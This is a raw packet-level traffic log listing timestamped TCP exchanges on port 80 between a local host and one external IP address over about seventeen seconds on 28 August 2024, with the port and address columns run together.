                                                                      Aug 28, 2024 11:19:30.763745070 CEST8060266185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.817214966 CEST6026680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.882008076 CEST8060267185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.896841049 CEST8060266185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.925668001 CEST6026780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.942213058 CEST6026680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.013295889 CEST8060267185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.071199894 CEST6026780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.158849955 CEST6026680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.158946037 CEST6026780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.159295082 CEST6026880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.164206028 CEST8060268185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.164222002 CEST8060266185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.164307117 CEST6026880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.164307117 CEST6026680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.164514065 CEST8060267185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.164613008 CEST6026780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.164730072 CEST6026880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.169722080 CEST8060268185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.522208929 CEST6026880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.527367115 CEST8060268185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.527379990 CEST8060268185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.527389050 CEST8060268185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.837076902 CEST8060268185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:31.878690958 CEST6026880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:31.966718912 CEST8060268185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.019321918 CEST6026880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.099951982 CEST6026880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.100296974 CEST6026980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.105221033 CEST8060269185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.105289936 CEST6026980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.105391979 CEST6026980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.105509043 CEST8060268185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.105557919 CEST6026880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.110575914 CEST8060269185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.456973076 CEST6026980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.462048054 CEST8060269185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.462063074 CEST8060269185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.462071896 CEST8060269185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.747358084 CEST8060269185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.816303968 CEST6026980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.876914978 CEST8060269185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:32.925690889 CEST6026980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.999541044 CEST6026980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:32.999541044 CEST6027080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.004352093 CEST8060270185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.004458904 CEST6027080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.004585028 CEST6027080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.004658937 CEST8060269185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.004729986 CEST6026980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.009439945 CEST8060270185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.363198996 CEST6027080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.368115902 CEST8060270185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.368129015 CEST8060270185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.368144989 CEST8060270185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.634927034 CEST8060270185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.677319050 CEST6027080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.767386913 CEST8060270185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.816199064 CEST6027080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.917939901 CEST6027080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.918566942 CEST6027180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.923051119 CEST8060270185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.923108101 CEST6027080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.923330069 CEST8060271185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:33.923393965 CEST6027180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.923594952 CEST6027180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:33.928303003 CEST8060271185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:34.271893978 CEST6027180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:34.276947975 CEST8060271185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:34.276962996 CEST8060271185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:34.276974916 CEST8060271185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:34.565850019 CEST8060271185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:34.613080978 CEST6027180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:34.697009087 CEST8060271185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:34.738091946 CEST6027180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:34.812688112 CEST6027180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:34.815229893 CEST6027280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:34.817909956 CEST8060271185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:34.818326950 CEST6027180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:34.820209980 CEST8060272185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:34.820348024 CEST6027280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:34.820425987 CEST6027280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:34.825232029 CEST8060272185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.175779104 CEST6027280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.180921078 CEST8060272185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.180933952 CEST8060272185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.180943012 CEST8060272185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.442354918 CEST8060272185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.577089071 CEST8060272185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.577173948 CEST6027280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.720215082 CEST6027280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.720534086 CEST6027380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.725338936 CEST8060273185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.725361109 CEST8060272185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.725410938 CEST6027380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.725441933 CEST6027280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.725572109 CEST6027380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.730269909 CEST8060273185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.910844088 CEST6027380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.911051989 CEST6027480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.915924072 CEST8060274185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.915983915 CEST6027480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.916088104 CEST6027480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:35.920804024 CEST8060274185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:35.958029985 CEST8060273185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.035674095 CEST6027580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.040585041 CEST8060275185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.040661097 CEST6027580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.040834904 CEST6027580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.045691967 CEST8060275185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.193150997 CEST8060273185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.193201065 CEST6027380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.269463062 CEST6027480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.275557041 CEST8060274185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.275568008 CEST8060274185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.394963026 CEST6027580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.399832010 CEST8060275185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.399842978 CEST8060275185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.399851084 CEST8060275185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.639204979 CEST8060274185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.672956944 CEST8060275185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.691267014 CEST6027480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.719238043 CEST6027580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.772811890 CEST8060274185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.810801983 CEST8060275185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.819338083 CEST6027480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.863327980 CEST6027580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.937048912 CEST6027480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.937050104 CEST6027680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.937056065 CEST6027580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.941984892 CEST8060276185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.942116976 CEST6027680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.942255974 CEST8060274185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.942291021 CEST6027680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.942547083 CEST8060275185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:36.942697048 CEST6027480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.942707062 CEST6027580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:36.947392941 CEST8060276185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:37.303239107 CEST6027680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:37.309947014 CEST8060276185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:37.309962988 CEST8060276185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:37.309973955 CEST8060276185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:37.573807001 CEST8060276185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:37.613101959 CEST6027680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:37.708444118 CEST8060276185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:37.753741026 CEST6027680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:37.832149029 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:37.841412067 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:37.841490984 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:37.841702938 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:37.848247051 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:38.191399097 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:38.503859043 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.115238905 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.238912106 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.239528894 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.240339041 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.243316889 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.243316889 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.450201988 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.450336933 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.450447083 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.450448036 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.452076912 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.453119993 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.453130007 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.453243017 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.454422951 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.456192017 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.456201077 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.637597084 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.691430092 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.760000944 CEST6027680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.761071920 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.761449099 CEST6027880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.766171932 CEST8060277185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.766222000 CEST6027780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.766316891 CEST8060278185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:39.766387939 CEST6027880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.766490936 CEST6027880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:39.774748087 CEST8060278185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:40.113470078 CEST6027880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:40.118505955 CEST8060278185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:40.118520021 CEST8060278185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:40.118530035 CEST8060278185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:40.416847944 CEST8060278185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:40.519387960 CEST6027880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:40.546462059 CEST8060278185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:40.624166012 CEST6027880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:40.678313971 CEST6027880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:40.678627968 CEST6027980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:40.683387041 CEST8060278185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:40.683404922 CEST8060279185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:40.683445930 CEST6027880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:40.683506966 CEST6027980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:40.683613062 CEST6027980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:40.688513994 CEST8060279185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.035257101 CEST6027980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.040682077 CEST8060279185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.040697098 CEST8060279185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.040705919 CEST8060279185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.313056946 CEST8060279185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.425651073 CEST6027980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.446829081 CEST8060279185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.565460920 CEST6027980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.565460920 CEST6028080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.574642897 CEST8060280185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.574774027 CEST8060279185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.577454090 CEST6027980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.577454090 CEST6028080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.581254959 CEST6028080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.586204052 CEST8060280185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.786071062 CEST6028080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.786443949 CEST6028180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.791317940 CEST8060281185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.791387081 CEST6028180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.791476965 CEST6028180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.796289921 CEST8060281185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.834013939 CEST8060280185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.911197901 CEST6028280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.916412115 CEST8060282185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:41.916476011 CEST6028280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.916663885 CEST6028280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:41.921442032 CEST8060282185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.045666933 CEST8060280185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.045723915 CEST6028080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.145345926 CEST6028180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.150371075 CEST8060281185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.150382042 CEST8060281185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.269608021 CEST6028280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.274518013 CEST8060282185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.274528980 CEST8060282185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.274538040 CEST8060282185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.419249058 CEST8060281185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.472517967 CEST6028180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.542740107 CEST8060282185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.548835039 CEST8060281185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.594497919 CEST6028280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.597495079 CEST6028180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.677603006 CEST8060282185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.723246098 CEST6028280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.801316977 CEST6028380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.801321983 CEST6028180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.801862955 CEST6028280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.807800055 CEST8060283185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.808181047 CEST6028380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.808181047 CEST6028380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.812457085 CEST8060281185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.812469959 CEST8060282185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:42.812721968 CEST6028280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.812721968 CEST6028180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:42.812942982 CEST8060283185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:43.162800074 CEST6028380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:43.167915106 CEST8060283185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:43.167932987 CEST8060283185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:43.167942047 CEST8060283185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:43.481175900 CEST8060283185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:43.535031080 CEST6028380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:43.610419035 CEST8060283185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:43.663249016 CEST6028380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:43.756438971 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:43.761460066 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:43.761563063 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:43.761761904 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:43.766551018 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:44.113703012 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:44.118664980 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:44.118684053 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:44.118691921 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.282160044 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.282177925 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.282190084 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.282282114 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.282309055 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.282779932 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.282854080 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.282854080 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.405205965 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.405297041 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.504369974 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.507750988 CEST8060284185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.507782936 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.515249014 CEST6028480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.531255007 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.536026001 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.878990889 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:45.883893967 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.883912086 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:45.883920908 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:46.154850006 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:46.201323986 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:46.280853987 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:46.331906080 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:46.404793978 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:46.404910088 CEST6028680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:46.722965956 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.332604885 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.332653046 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.332679987 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.332757950 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.333447933 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.334707975 CEST8060286185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.334717989 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.334773064 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.334811926 CEST6028680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.334924936 CEST8060285185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.334964037 CEST6028680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.334964037 CEST6028580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.339705944 CEST8060286185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.551327944 CEST6028680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.555279016 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.560141087 CEST8060287185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.563512087 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.563513041 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.568686008 CEST8060287185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.670855999 CEST6028880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.787712097 CEST8060286185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.788158894 CEST8060288185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.788233042 CEST6028880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.788486004 CEST6028880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.793977022 CEST8060288185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.794702053 CEST8060286185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.794749022 CEST6028680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.910159111 CEST6028780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:47.915554047 CEST8060287185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:47.915843964 CEST8060287185.106.93.197192.168.2.7
